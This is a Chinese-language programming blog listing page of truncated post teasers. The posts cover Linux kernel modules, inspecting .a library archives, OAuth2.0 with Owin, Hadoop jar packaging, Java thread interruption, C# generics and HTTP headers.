    本文转载自:http://www.codexiu.cn/linux/blog/34801/ 前面我们介绍模块编程的时候介绍了驱动进入内核有两种方式:模块和直接编译进内核,并介绍了模块的一种编译方式—— ...

  9. 查看Linux下*.a库文件中文件、函数、变量

    查看Linux下*.a库文件中文件.函数.变量等情况在Linux 下经常需要链接一些 *.a的库文件,那怎么查看这些*.a 中包 含哪些文件.函数.变量: 1. 查看文件:ar -t xxx.a 2. ...

随机推荐

  1. Microsoft.Owin.Security.OAuth搭建OAuth2.0授权服务端

    Microsoft.Owin.Security.OAuth搭建OAuth2.0授权服务端 目录 前言 OAuth2.0简介 授权模式 (SimpleSSO示例) 使用Microsoft.Owin.Se ...

  2. NOI2018准备Day19

    5天没写. 伸展树  主席树 3到线段树模板题

  3. C# 多重overide

    overide 是覆盖的意思,用在且仅用在虚函数上,虚函数可以是virtual或abstract修饰的,或者是overide修饰的. 文档大概是这么说的. 由此知道,由overide修饰的函数都是虚函 ...

  4. hadoop:将WordCount打包成独立运行的jar包

    hadoop示例中的WordCount程序,很多教程上都是推荐以下二种运行方式: 1.将生成的jar包,复制到hadoop集群中的节点,然后运行 $HADOOP_HOME/bin/hadoop xxx ...

  5. python 播放 wav 文件

    未使用其他库, 只是使用 pywin32 调用系统底层 API 播放 wav 文件. # Our raison d'etre - playing sounds import pywintypes im ...

  6. Java7并发编程实战(一) 线程的中断

    控制线程中断的方法一般常规是定义一个布尔值,然后while(布尔值) 去执行,当想停止该线程时候,把布尔值设为false. 这里我们来看第二种,Interrupt 该例子模拟一个线程从1打印到10,然 ...

  7. .net 动态代理的泛型方法支持问题

    最近一直在做.net平台下的高速服务框架.其中有一个问题一直困扰着我:通过动态代理RealProxy创建的服务代理,不支持泛型方法调用.比如: 接口声明: public interface IMete ...

  8. Jump Game 的三种思路 - leetcode 55. Jump Game

    Jump Game 是一道有意思的题目.题意很简单,给你一个数组,数组的每个元素表示你能前进的最大步数,最开始时你在第一个元素所在的位置,之后你可以前进,问能不能到达最后一个元素位置. 比如: A = ...

  9. C#基础之泛型

    1.泛型的本质 泛型的好处不用多说,在.NET中我看到有很多技术都是以泛型为基础的,不过因为不懂泛型而只能对那些技术一脸茫然.泛型主要用于集合类,最主要的原因是它不需要装箱拆箱且类型安全,比如很常用的 ...

  10. HTTP Header详解(转载)

    HTTP Header详解 HTTP(HyperTextTransferProtocol)即超文本传输协议,目前网页传输的的通用协议.HTTP协议采用了请求/响应模型,浏览器或其他客户端发出请求,服务 ...